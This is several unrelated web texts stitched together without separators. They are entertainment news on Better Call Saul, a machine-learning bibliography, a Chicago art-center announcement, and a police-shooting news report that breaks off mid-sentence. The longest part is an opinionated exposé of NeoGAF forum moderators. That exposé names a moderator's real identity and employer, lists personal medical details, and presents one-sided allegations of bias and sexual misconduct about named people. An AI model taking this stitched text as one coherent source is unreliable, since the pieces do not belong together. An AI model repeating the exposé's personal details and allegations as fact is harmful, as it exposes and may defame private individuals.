While Breaking Bad was 75% drama and 25% comedy, Better Call Saul is expected to flip that ratio to showcase Saul’s more comedic sensibilities. There will, however, be a more central dramatic throughline, as Gilligan said they needed to find “that ongoing itch that Saul needs to scratch” in order to make the premise sustainable over a longer period of time.
Most exciting is the fact that Cranston and Paul have expressed interest in making appearances on the prequel series, and Gilligan is incredibly game to bring Walter White and Jesse Pinkman back, albeit in their pre-completely messed up states:
“Personally, I’d have a hard time resisting putting all these guys in for a cameo or two every now and then.”
Gilligan will direct the Better Call Saul pilot and says he expects to be in the writers room full-time for at least the show’s first season, with an aim to premiere the series on AMC sometime between August and October of next year. Beyond that, Gilligan intends to write his feature directorial debut once he finally lands on an idea worthy of the effort—he has an eye toward a Western at this point.
He will oversee the drama series Battle Creek at CBS, but House creator David Shore will be running the police drama from day to day, and Gilligan adds that it will quickly be known as Shore’s show. THR also adds that Gilligan’s next television endeavor will likely land on HBO or Netflix given the creative freedom allowed on the pay networks. Whatever Gilligan decides on for his first post-Breaking Bad effort, I think it’s safe to say plenty will be eager to tune in.Statistical Inference
Rajnarayan, D., and Wolpert, D. H. "Bias-Variance trade-offs: Novel Applications", invited contribution to Encyclopedia of Machine Learning, in press.
Wolpert, D.H., “Supervised Learning Theory,” invited contribution to Encyclopedia of Cognitive Science, Robert French et al. (Ed.'s), 2001, in press. PDF or Postscript.
Wolpert, D.H. “The Supervised Learning No-Free-Lunch Theorems,” invited contribution to World conference on Soft Computing 2001, in press. PDF or Postscript.
Smyth, P. and Wolpert, D. H., “Linearly Combining Density Estimators via Stacking”, Machine Learning Journal, 36, 59-83, 1999. PDF or Postscript.
Wolpert, D.H., and Macready, W.G., “An Efficient Method to Estimate Bagging’s Generalization Error”, Machine Learning Journal, 35, 41-55, 1999. PDF or Postscript.
Smyth, P. and Wolpert, D. H., “Stacked Density Estimation”, Neural Information Processing Systems 10, MIT Press, 1998. PDF or Postscript.
Wolpert, D.H., Knill, E., and Grossman, T., “Some results concerning off-training-set and IID error for the Gibbs and Bayes optimal generalizers”, Statistics and Computing, 8(1), March 1998, pp. 35--54. PDF or Postscript.
Delwart, E.L., Pan, H., Sheppard, H.W., Wolpert, D.H.,Neumann, A.U., Korber, B.T., Mullins, J.I., “Slower Evolution of HIV-1 quasispecies evolution during progression to AIDS”, J. Virol, October, 71(10), 7498-7508, 1997. PDF or Postscript.
Smyth, P. and Wolpert, D. H., “Anytime Exploratory Data Analysis for Massive Data Sets”, The Third International Conference on Knowledge Discovery and Data Mining, AAAI Press, 1997. PDF or Postscript.
Wolpert, D.H., “On Bias plus Variance”, Neural Computation, 9, 1997. PDF or Postscript.
Wolpert, D.H., “The Lack of A Priori Distinctions between Learning Algorithms”, Neural Computation, 8, 1341 - 1390, 1996. PDF or Postscript.
Wolpert, D.H., “The Existence of A Priori Distinctions between Learning Algorithms”, Neural Computation, 8, 1996. PDF or Postscript.
Wolpert, D.H., “Determining Whether Two Data Sets are from the Same Distribution”, in Maximum Entropy and Bayesian Methods 1995, Ed. K. Hanson and R. Silver, Kluwer Academic press, 1996. PDF or Postscript.
Wolpert, D.H., “The Bootstrap is Inconsistent with Probability Theory”, in Maximum Entropy and Bayesian Methods 1995, Ed. K. Hanson and R. Silver, Kluwer Academic press, 1996. PDF or Postscript.
Wolpert, D.H., Strauss, C.E., “What Bayes has to say about the evidence procedure”, in Maximum Entropy and Bayesian Methods 1993, Ed. G. Heidbreder, Kluwer Academic press, 1996. PDF or Postscript.
Wolpert, D.H., “Reconciling Bayesian and non-Bayesian analysis”, in Maximum Entropy and Bayesian Methods 1993, Ed. G. Heidbreder, Kluwer Academic press, 1996. PDF or Postscript.
Kohavi, R., and Wolpert, D.H., “Bias Plus Variance Decomposition for Zero-One Loss Functions”, Proceedings of the International Machine Learning Conference 13, Ed. Lorenza and Saiita, Morgan Kauffman,1996. PDF or Postscript.
Wolpert, D.H., and Wolf, D.R., “Estimating Functions of Probability Distributions from a Finite Set of Samples”, Physical Review E, 52, p. 6841, 1995. PDF or Postscript.
Wolpert, D.H., “Horizontal Generalization”, in Proceedings of the International Machine Learning Conference 12, Ed. A. Prieditis and S. Russell, Morgan Kauffman, 1995. PDF or Postscript.
Wolpert, D.H., “On the Bayesian 'Occam Factors' Argument for Occam's Razor”, in Computational Learning Theory and Natural Learning Systems III, Ed. T. Petsche et al., MIT Press, 1995. PDF or Postscript.
Wolpert, D.H., “The Relationship Between the Various Supervised Learning Formalisms”, in The Mathematics of Generalization, Ed. D. Wolpert, Addison-Wesley, 1994. PDF or Postscript.
Wolpert, D.H., and Lapedes, A.S., “A Rigorous Investigation of Exhaustive Learning”, in The Mathematics of Generalization, Ed. D. Wolpert, Addison-Wesley, 1994. PDF or Postscript.
Wolpert, D.H., “Filter Likelihoods and Exhaustive Learning”, in Computational Learning Theory and Natural Learning Systems II, Ed. S. Hanson et al., MIT Press,1994. PDF or Postscript.
Wolpert, D.H., “Bayesian back-propagation over I-O functions rather than weights”, in Advances in Neural Information Processing Systems VI, Ed. S. Hanson et al., Morgan Kauffman, 1994. PDF or Postscript.
Strauss, C.E., Wolpert, D.H., Wolf, D.R., “Alpha, Evidence, and the Entropic Prior”, in Maximum Entropy and Bayesian Methods 1992, Ed. A. Mohammed-Djafari, Kluwer, 1994. PDF or Postscript.
Wolpert, D.H., “Combining Generalizers Using Partitions of the Learning Set”, in 1992 Lectures in Complex Systems, Ed. L. Nadel et al., Addison-Wesley, 1994. PDF or Postscript.
Wolpert, D.H., “On the Use of Evidence in Neural Networks”, in Advances in Neural Information Processing Systems V, Ed. S. Hanson et al., Morgan Kauffman, 1993. PDF or Postscript.
Korber, B.T., Farber, R.M., Wolpert, D.H., and Lapedes, A.S., “Covariation of Mutations in the V3 Loop of HIV-1: An Information-Theoretic Analysis”, Proceedings of the National Academy of Sciences, 90, 7176-7180, 1993. PDF or Postscript.
Wolpert, D.H., “How to Deal with Multiple Possible Generalizers”, in Fast Learning and Invariant Object Recognition, Ed. B. Soucek, Wiley and Sons, 1992. PDF or Postscript.
Wolpert, D.H., “Stacked Generalization”, Neural Networks, 5, 241-259, 1992. PDF or Postscript.
Wolpert, D.H., “On the Connection Between In-Sample Testing and Generalization Error”, Complex Systems, 6, 47-94, 1992. PDF or Postscript.
Wolpert, D.H., “The Relationship Between Occam's Razor and Convergent Guessing”, Complex Systems, 4, 319-368, 1990. PDF or Postscript.
Wolpert, D.H., “Using a Mathematical Theory of Generalization to Construct a Generalizer Superior to NETtalk”, Neural Networks, 3, 445-452, 1990. PDF or Postscript.
Wolpert, D.H., “A mathematical Theory of Generalization: part I, part II”, Complex Systems, 4,151-200, 201-249, 1990. PDF or Postscript.
Wolpert, D.H., “A benchmark for how well neural nets generalize”, Biological Cybernetics, 61 303-313, 1989. PDF or Postscript.by BRIAN NADIG
The new Ed Paschke Art Center at 5415 W. Higgins Ave. will hold its grand opening Sunday, June 22, which would have been the late Chicago artist’s 75th birthday.
"Throughout this process of building the Ed Paschke Art Center, which is to honor Paschke’s life and legacy, his spirit and character have been our shining light," Vesna Stelcer of the Ed Paschke Foundation said.
The "Paschke in the Park" grand opening celebration will include a free festival which the Jefferson Park Advisory Council will hold the same day in the park at Higgins and Long avenues. Free food items, featuring some of Paschke’s Chicago favorites, entertainment and coloring books for children will be offered.
The center is being constructed inside the former Knobe the Stationer building near Milwaukee and Higgins avenues, where the Knobe sign was removed last week. The center, which will be open from 10 a.m. to 7 p.m. seven days a week, will feature a 2,800-square-feet gallery and 1,700 square feet of educational space.
It was announced last fall that the center was planned for the Jefferson Park commercial district, but the location was not made public until recently. Upcoming events at the center will include a display of photography by Paul Natkin and an exhibit by Steve Schapiro titled "Andy Warhol, Lou Reed and the Velvet Underground."
The center is being funded through the Rabb Family Foundation, and it has partnerships with the 3M Company, the School of the Art Institute and the Block Museum of Art.
"Ed Paschke was not only a great artist but also was a great person who contributed and supported the communities in which he lived and worked," Rabb Foundation trustee Lionel Rabb said.
The son of Polish immigrants, the Chicago-born Paschke spent grew up on the Northwest Side, and according to the center, his art featured intricate patterns and vibrant colors. Paschke became a nationally known artist who belonged to a group known as the imagists and who painted in a style that was influenced by the abstract and expressionist art and the pop movement of the 1960s.
Paschke once said of his art, "They either love it or hate it, but rarely are they indifferent to it." Last year a mural which features digital reproductions of Paschke works that were transferred to a film wrap was installed on the walls of the railroad viaduct in the 5100 block of West Lawrence Avenue.
The center will offer free admission.
For more information on the center, call 312-533-4911 or visit www.edpaschke.org.
The sign on the former Knobe the Stationer building, 5415 W. Higgins Ave., is removed as part of the preparation for opening the Ed Paschke Art Center in the building.
The grand opening of the art center is planned for Sunday, June 22, which would have been the late Chicago artist’s 75th birthday.
The center will feature a 2,800-square-foot gallery and 1,700 square feet of educational space.CLOSE Fresno police released their body camera footage of when officers shot and killed 19-year-old Dylan Noble. The chief is asking for calm in light of recent police shootings. USA TODAY NETWORK
Fresno police released body-camera video of officers fatally shooting Dylan Noble, a 19-year-old man in Central, Calif. (Photo: Associated Press)
Fresno police released an "extremely disturbing" body cam video of officers fatally shooting an unarmed 19-year-old white man who appears to refuse repeated sharp commands to drop to the ground and hold his hands up.
Dylan Noble was shot and killed June 25. Fresno police chief Jerry Dyer intended to release the video last Friday, but decided to postpone it in the wake of two police-involved shootings last week and a gunman's rampage in Dallas that left five police officers dead just a day before.
In releasing the video Wednesday evening, Dyer called the footage “extremely disturbing” to watch, but said he hoped it would help clarify the circumstances at the time of the incident and why police opened fire.
“I anticipate that some of this video will answer many of the questions out there in this community,” Dyer said, the Los Angeles Times reports. “However, I believe this video is also going to raise questions in the minds of people, just as those questions exist in my mind as well.”
He said he prays it won’t spark violence amid simmering anti-police sentiment in Fresno and elsewhere, the Associated Press reported. “Tensions are high,” Dyer said. “In some cases we are one spark away from a forest fire. And I pray this video doesn’t serve as that spark … This is not a time to become violent.”
The footage shows a police officer driving up to the scene of a traffic stop, stepping out of his squad car with his weapon |
games journalism was starting to target political topics in video games. Bishop initially laughed at the idea of Deus Ex: Human Revolution being considered racist, as suggested in a piece by GamesRadar.
Timothy Lewinson was an Executive Producer at Beefy Media. The President of that company? Adam Boyes, who’d later go on to be Sony’s Vice President of Third Party Relations. Connections like these are what cast the appearance of bias when it came to Bishop as a NeoGAF moderator. Beefy Media’s clientele included Capcom, Endemol, MGM, and the Weinstein Company. Who’s to say that BishopTL didn’t give these studios a higher priority when it came to visibility on the NeoGAF forums?
Bishop best became known for being the NeoGAF moderator that controlled the flow of insider information. CBOAT was one of the earliest leakers to use this system, talking about clearing things with Bishop as far back as 2005. If you didn’t submit yourself to Bish for verification, you’d likely end up banned. What he’d check for (as seen by this Playstation 4 rumor story), is that the leaker was someone in a qualified industry position to receive the sort of information they were sharing. These insiders in some cases even got an official “Bishop checked” tag on their profile.
But that system wasn’t flawless.
Early on June 5th, 2013, a thread was made about Xbox One rumors concerning a GPU downgrade. It started from a Bishop-backed insider named Thuway. He heard that GPU clocks were going to be downgraded in order to improve yields. This rumor got quickly backed up by someone else. Then another. Thuway said his information was as recent as the Playstation Meeting when the PS4 was revealed, claiming it made Microsoft’s engineering teams scramble in response. Some guy named StevieP said Microsoft was having ESRAM issues. Another Bishop-backed insider, CBOAT, chimed in with confirmation that some of that was allegedly true.
NeoGAF moderators themselves started to throw their weight in on it. Passersby saw the spectacle, and lurkers assured them that the leakers were properly vetted by folks like Bishop. Ex-mod Amir0x said something to that effect, calling the sources trusted. He was more than eager to encourage the Microsoft pile-on. But in walks SenjutsuSage with counter-argument after counter-argument. He said he heard differently from his own sources and that there was a reason to doubt the downclocking rumors. Thuway fired back at SenjutsuSage, and it basically became a war between insiders. SenjutsuSage ended up being right about the downclocking rumors being false. The mods backed the wrong side of the argument and were left cleaning up the mess in the aftermath to try and save the credibility of their inside sources.
“No more troll threads from, on, or about CliffyB until he gets a job,” Bishop said at the time in an effort to flex his moderator muscle.
Things started to get bad after June 2013, when the r/games subreddit had to deal with a controversy surrounding Microsoft and “astroturfing” threads. The practice of astroturfing is defined as using a forum such as Reddit or NeoGAF and trying to steer the public conversation in a favorable direction. In this particular case, someone who claimed to work at a digital marketing firm said they overheard conversations Microsoft employees had about posting content for their employer to the pics and gaming subreddits. The r/gaming moderators said the initial claims turned out to be false after looking into it, but that didn’t stop places like NeoGAF from questioning the possibility of the practice taking place on their own site. It certainly sparked an anti-Microsoft sentiment and increased skepticism. Mods joined in accusing Microsoft as well (although they acknowledged Sony was equally guilty). Many of the forum members turned to Bishop as an answer to stopping astroturfing. Opiate said directly that being on NeoGAF to “shill for your corporate overlords” was a bannable offense.
Bishop had taken up looking into the matter personally at the end of that May. In response to a flux of new accounts that had popped up, he said:
We note. We notice. Hey, would anybody be interested in a thread where I detail some of the social agency email addresses that have come up during my offsite research into some of our more recently vocal members? It’s fascinating.
It’s this accident of timing (Bishop cracking down on PR shills + Microsoft’s astroturfing accusation) that caused people to start seeing Bishop as anti-Microsoft.
July 2013 continued the same sort of vicious cycle of rumor mills and banning of dissent. When it came to the PS4’s RAM, Thuway threw out some numbers, other insiders back it up, and a NeoGAF moderator/admin would give a thumbs up (don’t question them). Bishop would be the leaker gatekeeper. Media would report on it as fact, and people had confidence in this system. By August 2013, the anti-Microsoft reputation of NeoGAF was beginning to spread. People were getting banned for daring to speak neutrally about the topic. Tyler Malka himself shared a photo of when he met Bishop in July 2014. People would later speculate about the Sony hat he was wearing at the time.
That August, a PR guy showed up and made an elaborate post to start a Microsoft thread. The dude made a passionate argument in favor of the system. BishopTL waltzed on into this public display and posted details from what Bishop believed was the PR firm the OP came from. Banning him quickly, BishopTL made a few shitposts rubbing in the fact he caught a PR guy red-handed. However, then it was revealed the company Bishop referenced wasn’t a PR firm, but a software company selling databases. But our hothead moderator ended up being right. Someone dug through the OP’s post history and came across a confession from the user, admitting to being a PR guy for his job.
The situation ended up being a teaching lesson. “We have many PR people on the forum who were kind enough to let us know what they do for a living – even if they didn’t use a work email address to register,” Bishop told the thread.
December 2014 had Bishop flexing his moderator powers at a Forza Horizon 2 thread. The OP originally used the phrase “best racing game this year” in the title, which triggered a derail that focused on that aspect in particular. BishopTL changed the title and demoted the OP to NeoGAF junior status. He’d go on to vehemently defend this and explain the thought process of it step-by-step.
That Black Culture Thread (referred to as BCT) stuff took off. Ten official threads spanning across four years of time. It was a regular thing in the off-topic section of NeoGAF. But an incident almost cut that tradition short.
It actually started in a separate off-topic thread about transgender people. A moderator by the name of Mumei got into an argument with EviLore about the definition of bigotry. Mumei said being grossed out by a transgender person is bigotry (assuming you found that person attractive if they were cis), and EviLore responded by claiming Mumei was calling almost everyone in society a bigot. Mumei didn’t deny that exactly. In response, Malka decided the thread wasn’t worth the trouble to begin with and ended the discussion thread. Mumei was demodded from NeoGAF as a result of this.
Word traveled to the BCT thread. They began to talk about the moderators and what had happened with Mumei. Four pages in the February 2015 BCT thread and Evilore abruptly closes it.
“Create another thread in three months when it’s not a running commentary on moderation of the site,” Malka wrote.
Within the hour, BishopTL was able to get the thread back up and running. He was inclined to remind everyone that NeoGAF’s rules prohibit complaints about the moderation, however.
Remember that rule about astroturfing? It turns out such things didn’t apply to NeoGAF moderators. At the end of May 2015, Bishop’s Savage Empire Kickstarter campaign first surfaced. As it was advertised, Savage Empire was a concept for a graphic novel where dinosaurs arrived on Earth after a massive earthquake triggers a series of reality-bending events. It had the potential for being a video game later on. Bishop worked on the 2008 Turok video game, so he had the potential connections to make that happen. Bishop was more than happy to inform a few NeoGAF threads the day his Kickstarter went live in early June. He was open to the idea of incentivizing NeoGAF members with a profile tag (something only mods and admins can add to users) if they backed Savage Empire. It was certainly marketed towards NeoGAF given how much BishopTL kept them in the loop. This level of plugging was something that would’ve gotten anyone else banned from the website.
In December 2015 controversy arose with Uncharted 4 and NeoGAF. As described in this Kotaku article, a debate came after it was revealed white voice actress Laura Bailey was going to be voicing Uncharted 4‘s black character, Nadine Ross. Game director Neil Druckmann stood by the decision and mentioned NeoGAF when responding to it. At least one of the thread’s responses accused the games industry of having a racist status quo, and the moderator presence was heavy. When the incident started to come up in other threads, Bishop was swift on the banhammer to folks who mentioned it. A user named QuickSilverD got banned for simply characterizing the thread as being argumentative against Neil Druckmann’s statement.
We know for sure that Bishop was a big advocate for media representation. In January 2016 he yelled at a user for having a lack of empathy when it was revealed Rey wasn’t a Star Wars Monopoly piece, and the lurker couldn’t find a reason to care about that.
In August 2016 Bishop was around for the #AugLivesMatter Deus Ex controversy. A user by the name of Maniac said “It’s one fucking artist. Take it easy. It’s more like *fuck people that’re [sic] offended so easily*. Stop being Captain PC,” in response to people’s outrage. He was banned for that. But Maniac begged Bishop for mercy on Twitter because he supported Bishop’s Savage Empire Kickstarter campaign. Later on in the thread, you can see Maniac’s permanent ban somehow got reversed shortly after.
In a November thread focusing on Notch’s political tweets, one is able to find many bans being doled out to people. The source? Bishop takes credit for it calling the thread a honeypot.
But his reign of ban terror was cut short.
On December 6th, 2016, it was discovered that Bishop was no longer a NeoGAF administrator. People were sad about his departure. Some took it too far and thought evil would take over NeoGAF because he was gone. According to them, Bishop was the only one stopping racism. Another lurker said Bishop would voluntarily step down if Trump won the presidency. But we’ll never know the official reason.
“Bish is no longer performing admin duties at this time,” is all Malka said on the matter.
If you want to avoid getting on Bishop’s ban side: Don’t insult President Obama, don’t make hotel/sheets/$200 a night references, don’t make false claims that are proven wrong on a game’s release, no low effort console wars posts, don’t try and dogwhistle, and don’t be racist. Someone accidentally says the n-word on a stream? Shut it down. DON’T BE RACIST.
If tales from some of the ex-moderators of NeoGAF weren’t enough for you, we could take a look at some of the current moderation that’s ongoing.
Note: The length in which the current moderators have served is much shorter than those in the ex-moderator’s section of this piece. I thought it’d be good to go over a few of them anyway.
Besada
Mod since January 2014
Born and raised in Texas, Besada grew up around the Hispanic culture. At 47 years old, he is very old school when it comes to gaming. His friends work in the comics industry, in addition to gaming as an indie or working at a AAA studio. When it comes to what Besada does for a job himself, he says he works as a “programmer/support guru” for a software place in Texas. Before that, he was an IT Security Manager and did a stint as a Paralegal. When he’s got spare time, he likes to make music and write.
Besada has seen a lot in his lifetime. He knew where to recommend for a massage parlor for someone who wanted a “happy ending” to their services. But everything wasn’t sunshine and rainbows for Besada. He dealt with the loss of his father to cancer, his friend was shot to death in front of him, and people close to him committed suicide. This NeoGAF moderator has overcome a lot of personal obstacles and admits to having bipolar disorder. It made him a big advocate for mental health, not shying away from giving such advice to NeoGAF members when he saw it necessary.
“Hey, how’s it going? You have a good day? Do anything interesting? My name’s besada. I like woodworking, The Mountain Goats, video games, and science fiction, among other things. I live in Texas. Welcome to GAF. Don’t be a stranger,” he once said.
But when it came to being a moderator, people would see Besada as someone on a power trip. In April 2014 he unloaded on a NeoGAF user he was having a political debate with, explaining why they were going to be permanently banned just for talking with him. By August, complaints were showing up on IGN forums from people who got banhammered by Besada. For having a discussion about what constitutes a video game, Conkerkid11 was banned by him because he didn’t like what the poster said. Besada decided to do some extra-curricular modding in October of that year by deciding to go after someone on Twitter about their NeoGAF ban. Someone by the name of Frank was complaining that their month-long ban got a large extension, and Besada replied with a threat to make it a permanent one. Frank felt uncomfortable about being approached on social media by a NeoGAF mod and wanted to bring his concerns to Besada’s superior’s attention. Besada fired back by saying Frank had a history of harassment, and that there wasn’t a snowball’s chance in hell Frank’s complaint was going to do him any good.
In March 2015, a NeoGAF user by the name of Jado shared private message conversations they had with Besada (the thread itself was quickly erased). They felt it was important to put a spotlight on the bias that takes place within the moderation of the site.
As many of you know, I’ve stood up for a lot of good on this site, but finding out the above threw me for a loop and I was appalled at how blatant it was. Furthermore, I found out how quickly I could have people here turn on me if I deviated and didn’t agree with every single “approved” stance. Toeing the line to an unnecessary extreme and at the cost of expressing my perfectly normal thoughts has been really shitty and brought me to question how it got to be this way. Dealing with this quietly in PMs would resolve nothing.
What exactly did Besada say? The mod expressed his disdain for a user named Schattenjäger. He told Jado that temporary user bans are tracked cumulatively before they get permanently removed, but the average is dependent on whether not the mods like someone or not. In Schatt’s case, Besada decided to dig through his post history and look for something to give him a permanent warning on. According to him, that means the next time he slips up, a moderator will see that and finish Schatt off. “Time will give us the ammo we need,” Besada wrote when looking for a reason to ban someone and not being able to find a rule violation.
In another conversation, Besada gave advice to Jado on how to address dealing with another user named backslashbunny. He made it clear in his phrasing that moderators play favorites when it comes to particular users. In the second part of that particular exchange, Besada confesses to making his ban decisions based on racial demographics. People who aren’t young white males get “extra room” when it comes to how much they can get away with before being banned.
Tyler “EviLore” Malka swooped in to shut down Jado’s thread where the screenshots were shared. He didn’t deny the legitimacy of them. Instead, Tyler acknowledged the points raised within the contents of the messages. While he considered what Jado did “account suicide,” Malka said he had a discussion with the moderation about preferential treatment.
It brings into question how Besada treated the topic of Anita Sarkeesian on the site. Before GamerGate ever began he encouraged posters to separate talking about Anita Sarkeesian as a person away from whatever specific item related to her work was in discussion. If they failed to do so, he’d just lock the thread. When GamerGate started to happen, Besada fumbled with addressing people’s concerns about how moderators were going to be handling the topic on NeoGAF. Besada openly admits that he doesn’t trust the userbase to have a calm conversation about women in gaming. He states that whenever that happens it gets ugly and that it does damage every time. Besada says the reason for that is a large portion of gamers are misogynist. It’s around this time that he starts lashing out at users for their “obsession” about how Anita Sarkeesian should make videos. People were afraid to speak their minds on the topic over worries about getting banned. Besada openly told people GamerGate didn’t care about journalistic integrity and skewered the definition of it to mean everything but that. For a moderator, he made it clear he took a side on the matter rather than being impartial. It made him nit-picky if anything.
If you want to avoid getting on Besada’s ban side: don’t be a drama queen, don’t be sexist/racist/transphobic, don’t call other NeoGAF members jerks, don’t make low content shit posts, don’t whine, don’t post your opinion and refuse to acknowledge other people’s responses, don’t derail threads, and don’t post entire articles.
Y2Kev
Mod since June 11th 2010
Estimated age is around 28 years old. Y2Kev shouted to the world his real name was Kevin Cioh on his old Twitter account. Grew up in New Jersey and suffered through Catholic School during his high school years. Apparently, he was in the Fencing club. Spent four years at Columbia University, and has worked at Citigroup as a financial analyst for the past seven years. Kevin dabbled in games journalism in college, writing an article about Sonic the Hedgehog for the Columbia Spectator. His mom was tough on him sometimes, and Y2Kev once asked NeoGAF to help her out with something involving her job. Kevin isn’t too fond of his dad, but after his parents got divorced he became mega rich.
When it comes to his moderation style, there’s nothing too abnormal about it in terms of what’s considered “usual” for NeoGAF. Y2Kev did his share of verifying when it came to rumors, as it was seen in the case of the Final Fantasy VII remake. He was pretty solid at maintaining control over threads before they had a chance to derail. When people got uppity about Angry Joe discussions, Kevin laid down his mod fist and made sure things didn’t get out of hand.
Y2Kev was pretty open about his anti-Microsoft stance, telling people to wait until December to buy PS4s one year so they could be counted in NPD statistics. When it came to Sony and Nintendo stuff, he was well aware of who’s who. One time, the production manager for Capcom jokingly nominated him for Director of Resident Evil 7. Y2Kev was often very harsh in his stances, like that time he called the Vita “terminally fucked.” One of his most infamous running gags was calling Sony’s The Last Guardian dead in the years leading up to its 2015 re-reveal. When the E3 re-reveal evening came and the game was announced, he knew he was beaten and braced for the internet banter that was coming. It did. GAF members on Twitter got in their two cents.
It’s hard to tell what Y2Kev actually believes because they joke around a lot. It was something the guy had a reputation for, in contrast to his “tell it like it is” attitude.
He boils down his political views and makes it straightforward to everyone.
I agree with that. If you support trump you are either a racist or are okay with a racist as president. At some point that is not a meaningful distinction to me.
Y2Kev makes it clear that he sided for Hillary in the 2016 elections. In fact, all you need to do is type in “campaign” and look for posts attached to Y2Kev’s account in order to see how obsessed he was with the elections over on NeoGAF. Watch out for joke posts, though. Some folks believe Y2Kev worked for the Clinton campaign directly, but there’s nothing solid to suggest that is true.
Probably just trying to cover his own behind. What we can say for sure is that he worshiped Hillary Clinton as if she was a queen. All the time.
Damn near obsessed.
“In Jesus name I pray Hillary wins Kentucky tonight and a deluge of supers wash away this campaign,” he said.
That’s where he spent a lot of his waking hours for the past year and a half: he admits to crying after reading Hillary Clinton’s book, seemed in awe at how much money Jeb Bush threw at his run, thought Christie was trash, thought of Hillary as a queen, underestimated Trump, and overestimated Cruz. It’s a wonder that Y2Kev was able to get any modding done when he was busy being absorbed in every last inch of the elections. He helped exacerbate the divide between Sanders and Clinton supporters. Y2Kev honed in on that when things came down to the wire, used his position as a mod to influence NeoGAF’s opinion. During the general Clinton vs. Trump elections, Y2Kev was knee-deep in labeling Trump as a “serial rapist sexual assaulter” and whatever other smears he could muster.
If you don’t believe something like this could influence a moderator’s bias, you’re a fool. Clinton campaigners were on NeoGAF during the election season. Don’t fall under the illusion that you are allowed open discourse, you aren’t. It’s because of folks like Y2Kev that we have an explanation as to how the election fallout on the site played out after Trump won.
If you want to avoid getting on Y2Kev’s ban side: remember to hide your spoilers, don’t complain about the NeoGAF hivemind, don’t shout other people down, no conspiracy bullshit, don’t post images of disfigured individuals, don’t post pictures of “disgusting Japanese pedo” games, and don’t post anime porn.
Tyler Malka
The guy who made NeoGAF. Admin and owner of it.
When it comes to his upbringing – Tyler says his father claimed to lose his virginity at the age of 13, due to his height and adult-like appearance. His father’s views toward women were distorted at best, from Evilore’s perspective. Malka missed a lot of High School, didn’t officially graduate (had to get a G.E.D.), and dropped out of college to run NeoGAF. If you want to read his political beliefs he runs the gamut of general issues here. Hell, Malka gives a complete medical history of himself as well. He’s got depression, anxiety, torn menisci in his knees, he’s flatfooted, myopia and astigmatism, chronic migraines and digestive problems, morbid obesity, and insomnia.
We’ve mentioned many of Malka’s exploits previously in this series of essays because at the end of the day he is NeoGAF. But on a personal level, there’s still more to say when it came to EviLore. He tried to be a love doctor when it came to helping out NeoGAF people. Tyler’s advice for men was it’s important to play the dating game and default to being direct with women. In short? Grow some balls… except when you’re dating someone with kids. EviLore recommends bailing in that case. He believed women thought all men were interested in them at least for casual sex. Moralizing sexuality is for “archaic prudes and religious delusions” according to Malka. When it came to video game sexism mumbo jumbo, instances of sexualization in themselves aren’t bad. Tyler thinks the culture as a whole is to blame. He tended to go against the grain when it came to what feminists like Rebecca Watson thought. When it came to media crusades, like when Gies went after Notch for an IDGA party, Malka sided against the press.
EviLore tried to justify decisions when it came to the site, giving a several paragraph long essay over the addition of social media buttons. He even makes the effort to watch NeoGAF’s ads like a hawk, deploying feedback options for bad ones so the site could address it. In contrast to that, he makes a lot of dirty jokes.
To Tyler, NeoGAF wasn’t a money making machine. It’s a strategic asset. While he seems to be a pretty charitable guy himself, including when he gave $1000 to Amir0x’s mother for medical expenses and/or drugs. Malka has a strange way of asking others to do the same (like threatening people with a permanent ban if they don’t).
That begs the question if NeoGAF is profitable for EvilLore in general? He took the time to answer that last year:
Everyone’s always really curious about this, and as always the specifics are private information that I’m not going to share. The site’s a business, sure, but also a passion. I’ve stuck with a minimal aesthetic and a focus on user experience and have kept the ad quality as high and unobtrusive as is humanly possible, whether the site was even profitable at any given time or not, because what mattered first was keeping the thing good, after all the bullshit that came before with the struggles of keeping the community intact and on functional hardware prior to my explicit ownership and reimagining/relaunch of the community independently in 2004 (thanks to ~$2000 in seed money generously donated without any strings attached by the tiny contingent of kind former members of the previous iteration that self-destructed at the time). With a little digging through interviews that touch upon the financial side you’ll understand to what extent I’m a stubborn asshole about this thing and how little I ultimately care about personal financial security on my end, through the ups and the downs alike. I grew up in poverty, and the site does well now, and I have my fun as a result for the time being, but I’m okay with whatever at the end of the day. If times change or I screw up and it goes poof, it’s just an exciting flip of the page to a new chapter, so I don’t care much for the buyout offers, as long as I stay vaguely sane in this gig. It’s probably a foregone conclusion, though, that sanity has long since passed by, but here I am.
An old PCWorld article gives us a succinct history of how the site came to be. NeoGAF started out when Gaming Age launched in 1996. Sam Kennedy of the 1Up Network launched it with his friends, and he used it as a platform to help his writer buddies get a foot in the games industry. Brady Fiechter, Greg Stewart, and Patrick Klepek were some of these folks. Tyler Malka was nothing more than a lurker of these forums back in 1999. The site grew so much in popularity that the servers had a hard time handling the load, and in the early 2000s they jumped around from IGN to EZBoards, and eventually GameSquad. In 2001, Malka gained moderator powers after an old moderator decided to retire and named Tyler as his successor. In May 2004, a game thread became large enough to corrupt the whole forum database. In a last-ditch effort, Malka used the incident to unite the userbase and crowdfund donations to make a new site. It paid off and the new site was up and running within weeks. Gaming Age Forums (GAF) became NeoGAF in 2006 to help distance the two entities, as publishers were asking questions to Gaming Age about it.
An event not mentioned in that article was what Evilore allegedly did in February 2006. Somehow, Malka got ahold of nude photos of someone’s girlfriend (there are claims the girl was in on it as a joke). This person was a member of a rival forum called Opa-Ages, who back then was often at war with NeoGAF. Evilore in his retaliatory wisdom decided to upload photos of these nudes adding his own “spunk” all over them, sharing his work to Opa-Ages. The photos themselves are no longer available, but the post Malka made is still there in that archive. Here’s a copy of the first page’s comments as well, seeing as the archive is a bit borked. NeoGAF talked about the event but the thread has been wiped from the site.
“Sexual objectification is great. Harassment is not,” Tyler once said.
A story from July 2012 would bring that into question, as Malka’s travels around the world ended up with him in hot water over at NeoGAF. The thread in question would be deleted by Malka after the fact, but there’s enough archival evidence to piece together how it unfolded.
The OP itself was concerned about a particular section for Spain that Malka had written about, quoting from him directly:
At one point in a bar a girl who didn’t speak any English came up to me and started flirting heavily, then went straight into asking me to buy her a drink, as Itxaka translated when I didn’t know what the hell was going on. I laughed, because drinks here were all of two Euros, but consented and then grabbed her ass hard to show that I wasn’t being taken advantage of, and she thought better of treating me as a mark and left without taking her drink.
In short? A girl flirted with the owner of NeoGAF, asked for a drink, and then in the interim until the drink arrived, Malka grabbed her rear. Evilore showed up to the thread promptly, and in one of his first responses, he tries to justify this behavior. While claiming to love the country of Spain and being enveloped in the moment at a party there, Malka claimed the girl got physically aggressive towards him first.
Many folks were uncomfortable with what Tyler did. People got banned for expressing their concerns.
